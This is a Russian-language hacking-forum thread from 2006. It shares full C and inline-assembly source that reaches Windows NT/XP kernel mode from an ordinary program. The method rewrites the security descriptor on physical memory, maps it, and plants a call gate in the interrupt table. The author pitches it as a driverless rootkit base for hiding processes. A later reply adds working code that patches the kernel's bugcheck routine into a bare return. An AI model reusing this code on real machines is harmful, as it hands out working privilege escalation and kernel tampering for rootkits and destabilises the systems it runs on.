PDA

Просмотр полной версии : Штурм режима ядра


sn0w
05.12.2006, 19:07
Итак, заморочался давеча и решил выложить такую няму, как прямой переход в режим ядра NT и вызов ядерных функций (твой руткит в твоем exe ;)). В данном случае для прорыва в ring0 используется методика калгейта. В примере мы сначала ловим адрес ntoskrnl из ring3 режима, затем переходим в ring0 и начинаем сканировать образ ntoskrnl на предмет экспортов. Из юзер мода эт кстати невозможно. Находим ExAllocatePoolWithTag и вызываем ее (память выделяет короче, и возвращает указатель на выделенный участок) после чего возвращаемся в ring3 и демонстрируем юзеру за счет MessageBox'a плод наших трудов. Сей пример мягко говоря намекает на то что такие фичи как скрытие процесса (что реализовалось при помощи драйверов) терь возможно и без них...

-------------------------------
main.cpp
-------------------------------
#include <windows.h>

int __cdecl ring0_execute(LPVOID lpKernelProc);
DWORD ring0_GetKernelBase();

DWORD g_KernBase;
DWORD g_Address;
DWORD g_Mem;

PVOID R0_GetProcAddress(PCHAR pFunctionName)
{
PVOID pFunctionAddress = NULL;
PVOID ModuleBase = (PVOID)g_KernBase;

__try{
PIMAGE_DOS_HEADER dos =(PIMAGE_DOS_HEADER) ModuleBase;
PIMAGE_NT_HEADERS nt =(PIMAGE_NT_HEADERS)((ULONG) ModuleBase + dos->e_lfanew);

PIMAGE_DATA_DIRECTORY expdir = (PIMAGE_DATA_DIRECTORY)
(nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT);
ULONG size = expdir->Size;
ULONG addr = expdir->VirtualAddress;

PIMAGE_EXPORT_DIRECTORY exports =(PIMAGE_EXPORT_DIRECTORY)((ULONG) ModuleBase + addr);

PULONG functions =(PULONG)((ULONG) ModuleBase + exports->AddressOfFunctions);
PSHORT ordinals =(PSHORT)((ULONG) ModuleBase + exports->AddressOfNameOrdinals);
PULONG names =(PULONG)((ULONG) ModuleBase + exports->AddressOfNames);
ULONG max_name =exports->NumberOfNames;
ULONG max_func =exports->NumberOfFunctions;

ULONG i;

for (i = 0; i < max_name; i++){
ULONG ord = ordinals[i];
if(i >= max_name || ord >= max_func){
return NULL;
}
if (functions[ord] < addr || functions[ord] >= addr + size){
if (strcmp((PCHAR) ModuleBase + names[i], pFunctionName) == 0){
pFunctionAddress =(PVOID)((PCHAR) ModuleBase + functions[ord]);
break;
}
}
}
}
__except(EXCEPTION_EXECUTE_HANDLER){
pFunctionAddress = NULL;
}
return pFunctionAddress;
}


//
// WARNING! This routine should be executed in KERNEL MODE ONLY
//
void R0_DISCOVER_AND_EXECUTE()
{

g_Address = (DWORD)R0_GetProcAddress("ExAllocatePoolWithTag");


__asm{ // вызываем ExAllocatePoolWithTag - выделяем 100байт памяти ядра
push eax
mov eax, g_Address
push 0x12345678
push 0x64
push 0x1
call eax
mov g_Mem, eax
pop eax
}

}

int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int)
{
char s_buff[256];

g_KernBase = ring0_GetKernelBase();
if(!g_KernBase){
MessageBox(0, "Couldn\'t discover kernel base address", "Error", MB_OK|MB_ICONWARNING);
return 0;
}

ring0_execute(R0_DISCOVER_AND_EXECUTE);

wsprintf(s_buff, "Execute complete. ExAllocatePoolWithTag address: 0x%.8X, allocated memory address: 0x%.8X", g_Address, g_Mem);
MessageBox(0, s_buff, "Done", MB_OK|MB_ICONWARNING);

return 0;
}



-------------------------
ring0.cpp (калгейт)
-------------------------

/*
* terazin-b by sn0w [at antichat dot ru]
* (c) leaders of antichat team, 2006
*
* greetz: zaco skvoznoy kez
*
*/

/*
* ring0.cpp - kernel mode code execution engine
*
*/

#include <windows.h>
#include <aclapi.h>

#define INTNUMBER 0F0h
#define SE_KERNEL_OBJECT 6
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_KERNEL_HANDLE 0x00000200L

#define INIT_UNICODE(_var,_buffer) \
UNICODE_STRING _var = { \
sizeof (_buffer) - sizeof (WORD), \
sizeof (_buffer), \
_buffer }

#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef (__stdcall *_NtOpenSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes);

//
// Kernel Mode Execution routine
//
// return values: 0 - failed to execute, 1 - execute success
// NOTE: when a function fails you can attempt to recall it.
//
// WARNING! when you want to modify functional code you must
// take your attention on automatic variables inside body.
// default stack restore is /add esp, 60h/
//
//
int __cdecl ring0_execute(LPVOID lpKernelProc)
{
_NtOpenSection NtOpenSection = (_NtOpenSection)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtOpenSection");
OBJECT_ATTRIBUTES ObAttributes;
EXPLICIT_ACCESS Access;
HANDLE hSection;
LPVOID pbMap;
PACL OldDacl=NULL, NewDacl=NULL;
PSECURITY_DESCRIPTOR SecDesc=NULL;

INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");

InitializeObjectAttributes(&ObAttributes,&ObString,OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,NULL,NULL);

Access.grfAccessPermissions = SECTION_MAP_WRITE;
Access.grfAccessMode = GRANT_ACCESS;
Access.grfInheritance = NO_INHERITANCE;
Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
Access.Trustee.pMultipleTrustee = NULL;
Access.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
Access.Trustee.TrusteeType = TRUSTEE_IS_USER;
Access.Trustee.ptstrName = "CURRENT_USER";

if(NtOpenSection(&hSection,SECTION_MAP_READ|SECTION_MAP_WRITE,&ObAttributes)==-1)
goto hook_interrupt;

NtOpenSection(&hSection,MEM_MAPPED|MEM_PRIVATE,&ObAttributes);
GetSecurityInfo(hSection,(SE_OBJECT_TYPE)SE_KERNEL _OBJECT,DACL_SECURITY_INFORMATION,0,0,&OldDacl,0,&SecDesc);
SetEntriesInAcl(1, &Access, OldDacl, &NewDacl);
SetSecurityInfo(hSection, (SE_OBJECT_TYPE)SE_KERNEL_OBJECT,DACL_SECURITY_INF ORMATION,NULL,NULL,NewDacl,NULL);
CloseHandle(hSection);
NtOpenSection(&hSection,SECTION_MAP_READ|SECTION_MAP_WRITE,&ObAttributes);


__asm {
hook_interrupt:
push eax
sidt fword ptr [esp - 2]
pop esi
btr esi, 1fh
push 1
push esi
push 0
push SECTION_MAP_WRITE
push hSection
call dword ptr ds:MapViewOfFile

cmp eax, 0
jnz map_ok
push hSection
call dword ptr ds:CloseHandle
xor eax, eax
add esp, 60h // stack restore
ret
map_ok:
mov [pbMap], eax
and esi, 0fffh
lea esi, dword ptr [eax + esi + INTNUMBER * 8]
fild qword ptr [esi]
call skip_ring0
// begin ring 0
call lpKernelProc
iretd
// end ring 0
skip_ring0:
pop word ptr [esi]
mov byte ptr [esi + 2], 8
mov byte ptr [esi + 5], 0eeh
pop word ptr [esi + 6]
int INTNUMBER
}

UnmapViewOfFile(pbMap);
CloseHandle(hSection);

return 1;
}



//
// some auxilary funcs
//

#define NTSTATUS LONG
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define DEF_KERNEL_BASE 0x80400000L
#define SystemModuleInformation 11

typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION;


DWORD ring0_GetKernelBase()
{
HANDLE hHeap = GetProcessHeap();

NTSTATUS Status;
ULONG cbBuffer = 0x8000;
PVOID pBuffer = NULL;
DWORD retVal = DEF_KERNEL_BASE;

HMODULE hntdll = GetModuleHandle("ntdll.dll");

NTSTATUS (WINAPI * _NtQuerySystemInformation)(UINT, PVOID, ULONG, PULONG);
*(FARPROC *)&_NtQuerySystemInformation = GetProcAddress(hntdll, "ZwQuerySystemInformation");

do
{
pBuffer = HeapAlloc(hHeap, 0, cbBuffer);
if (pBuffer == NULL)
return DEF_KERNEL_BASE;

Status = _NtQuerySystemInformation(SystemModuleInformation,
pBuffer, cbBuffer, NULL);

if(Status == STATUS_INFO_LENGTH_MISMATCH)
{
HeapFree(hHeap, 0, pBuffer);
cbBuffer *= 2;
}
else if(Status != STATUS_SUCCESS)
{
HeapFree(hHeap, 0, pBuffer);
return DEF_KERNEL_BASE;
}
}
while (Status == STATUS_INFO_LENGTH_MISMATCH);

DWORD numEntries = *((DWORD *)pBuffer);
SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)((char *)pBuffer + sizeof(DWORD));

for(DWORD i = 0; i < numEntries; i++)
{
if(strcmpi(smi->ImageName, "ntoskrnl.exe"))
{
retVal = (DWORD)(smi->Base);
break;
}
smi++;
}

HeapFree(hHeap, 0, pBuffer);
return retVal;
}



---------------
усе. компилим вместе
удачи на поприще))

ProTeuS
05.12.2006, 20:39
поправь, если ошибаюсь, но не это ли у хогланда в прошлогодней книге в сорцах пе4аталось?

sn0w
05.12.2006, 21:52
чел, я неуч, не читал этой темы реал) то что сделал то сделал)

TaNkist
06.12.2006, 14:36
Кстати на Windows2003 и Vist'е данный код работать не будет. т.к. там закрыли доступ к \\Device\\PhysicalMemory.

sn0w
06.12.2006, 15:17
забыл кста отписать что под вынь 2к3 и висту не идет

KSURi
06.12.2006, 15:54
Переход в ring0 через callgate довольно подробно описан Горлумом в прошлогоднем декабрьском Х

_Great_
06.12.2006, 16:00
Переход в ring0 через callgate довольно подробно описан Горлумом в прошлогоднем декабрьском Х
нихрена не подробно и вообще там пример галимый.

я собирался написать такую хрень, но все никак не было времени разобраться с переходом в ring 0.
sn0w, respect :)

_Great_
06.12.2006, 16:20
Я доэкспериментировался )

Кстати, а обработка исключений не предусмотрена чтоли при использовании call gate'ов?

__try {
__asm {
xor eax,eax
mov [eax],eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}

система уходит в полный даун, хотя по идее не должна :)

ProTeuS
06.12.2006, 16:27
горлум, если вы еще не поняли, пи*ид все у руссинови4а, рихтера и хогланда...

sn0w
06.12.2006, 17:15
Я доэкспериментировался )

Кстати, а обработка исключений не предусмотрена чтоли при использовании call gate'ов?

__try {
__asm {
xor eax,eax
mov [eax],eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}

система уходит в полный даун, хотя по идее не должна :)


)))))))) как ни странно, первый ядерный код который запустил на калгейте был такой же))) потом правд всякую муть делал типа килл кмос итд)

sn0w
06.12.2006, 17:24
2Proteus: прикинь чувак, Руссинович терь на мелкомягких хостится) В принципе иначе случиться и не могло)

_Great_
06.12.2006, 17:25
А все таки, это меня плюсчит или там обработки исключений нет?))

_Great_
06.12.2006, 18:26
на вмваре выскакивает driver_irql_not_less_or_equal
интересно отчего. походу я там чето намутил, хотя... irql я не трогал

sn0w
06.12.2006, 18:35
ес не срабатывает видимо есть на то предпосылки, сижу с сайсом смотрю)

_Great_
06.12.2006, 18:40
у меня сайса нету на вмваре, ставить влом+)
но на реальном компе все работает.

Правда, под вмварей пришлось слегка изменить код маппинга секции, потому что там косяк какой-то был). Я пропатчил, калгейт вызывается нормально, но, видимо, при вызове ExAllocateWithPoolTag слетает винда. Почему-то irql выше, чем надо. Надо бы разобраться, конечно.. а может просто впихнуть KeLowerIrql? +)

Насколько я понял, у кода в режиме ядра с какого-то хрена стоит IRQL выше или равен DPC/Dispatch, на котором доступа только неподкачиваемая память, а ExAllocatePoolWithTag пытается выделить подкачиваемую память. Может просто снизить IRQL до APC или Passive?

_Great_
06.12.2006, 18:48
Хм.. у тебя первый аргумент к ExAllocatePoolWithTag был равен 1 (подкачиваемый пул) - я сменил на 0 (неподкачиваемый пул) и все равно BSoD :)

updated: Попытка вызова KeGetCurrentIrql закончилась BSoD'ом с багчеком 8E :)

updated2: fuck :(
#define KERNEL_MODE_EXCEPTION_NOT_HANDLED ((ULONG)0x0000008EL)

updated3: поставил __try/__except, исключение перехватывается +)
Однако все равно вылетает driver_irql_not_less_or_equal
Видимо, что-то не то происходит не при выделении памяти... а наверное при возврате из прерывания

_Great_
06.12.2006, 20:12
Вообщем-то итог расследования - в вмваре вылетает БСоД при вызове R0_GetProcAddress с bugcheck-кодом DRIVER_IRQL_NOT_LESS_OR_EQUAL
http://img474.imageshack.us/img474/5640/irqlxw8.png
Только я не секу, где в этой функции что-либо, что использует IRQL хоть как-нибудь.. там только арифметические операции по поиску экспорта ядра и функции в ней.
Правда, там есть вызов strcmp... может в нем дело.. попробую переписать, чтобы не юзать сишний рантайм

ProTeuS
06.12.2006, 21:18
>>2Proteus: прикинь чувак, Руссинович терь на мелкомягких хостится) В принципе иначе случиться и не могло)
ога, была новость...
продался )

_Great_
07.12.2006, 00:21
уря, все работает =)

повторил подвиг криса касперски и написал программулину, которая лочит KeBugCheck и KeBugCheckEx, просто делая ret.
После явного вызова KeBugCheckEx процесс продолжает выполняться.
При исключении поток виснет в ринг 0, но винда все равно продолжает относительно стабильно работать.

Кому интересно - вот код.
Программа при первом запуске ставит блокировку на KeBugCheckEx (записывает просто RET по адресу точки входа, хотя там слегка сложнее. KeBugCheckEx & KeBugCheck вызывают спец. внутреннюю функцию, которая и выполняет всю работу. Вот лок ставится именно на нее, чтобы вызовы и KeBugCheckEx и KeBugCheck и прямые вызовы этой функции шли лесом), при втором вызывает явно KeBugCheckEx и выводит в окошке результат:
int flag=-1;
DWORD bugcheck=0;

//
// WARNING! This routine should be executed in KERNEL MODE ONLY
//
void R0_DISCOVER_AND_EXECUTE()
{
__try
{
bugcheck = (DWORD)R0_GetProcAddress("KeBugCheckEx");
g_Address = (bugcheck + 0x1B) + *(DWORD*) (bugcheck + 0x17);

#define OPCODE 0x000018C2
// Is hook already set?
if(*(DWORD*)g_Address == OPCODE) // yes, hook is already set
{
__asm
{
push 4
push 3
push 2
push 1
push 0x2e
mov eax, bugcheck
call eax
}
flag = 0;
return;
}

// Hook is not set, set it now!
*(DWORD*)g_Address = OPCODE; // RETN 18h

flag = 1;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
flag = -1;
}
}

int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int)
{
g_KernBase = ring0_GetKernelBase();
if(!g_KernBase)
return MessageBox(0, "Couldn't discover kernel base address", "Error", MB_OK|MB_ICONWARNING);

ring0_execute(R0_DISCOVER_AND_EXECUTE);
switch(flag)
{
case -1:
return MessageBox(0, "ring0 function failed because of exception", 0, MB_ICONERROR);
case 1:
return MessageBox(0, "Hook set successfully", "Done", MB_ICONINFORMATION);
case 0:
return MessageBox(0, "KeBugCheckEx call passed successfully!", "It works =)", MB_ICONINFORMATION);
}

return 0;
}
остальной код R0_GetProcAddress и код ring0.c взять у автора

_Great_
25.01.2007, 16:22
Сегодня ковырял этот код и обнаружил, что запись из Idt потом не снимается )
То есть если после завершения программы запустить отдельно Int F0, то получим синий экран Page_fault_in_nonpaged_area, чего и следовало ожидать.
Как снять из Idt запись, просто забить нулями?